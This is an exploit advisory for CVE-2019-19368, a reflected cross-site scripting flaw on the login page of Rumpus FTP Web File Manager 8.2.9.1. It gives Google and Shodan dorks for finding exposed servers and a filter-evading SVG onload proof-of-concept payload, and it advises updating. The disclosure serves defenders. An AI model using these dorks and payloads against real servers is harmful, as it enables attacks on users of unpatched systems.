Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting

# Exploit Title: Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting
# Google Dork: site:*.*.com "Web File Manager" inurl:?login=
# Shodan Dork: Server: Rumpus
# Date: 2019-12-14
# Exploit Author: Harshit Shukla, Sudeepto Roy
# Vendor Homepage: https://www.maxum.com/
# Tested On: Windows & Mac
# Version: 8.2.9.1
# CVE: CVE-2019-19368

Description: 
A reflected XSS was identified on the Login page of RUMPUS FTP Web File Manager.

PoC:

Payload: ?!'><sVg/OnLoAD=alert`1`//

Vulnerable URL:
http://127.0.0.1/Login?!'><sVg/OnLoAD=alert`1`//

Solution:
Update to the latest version released by vendor.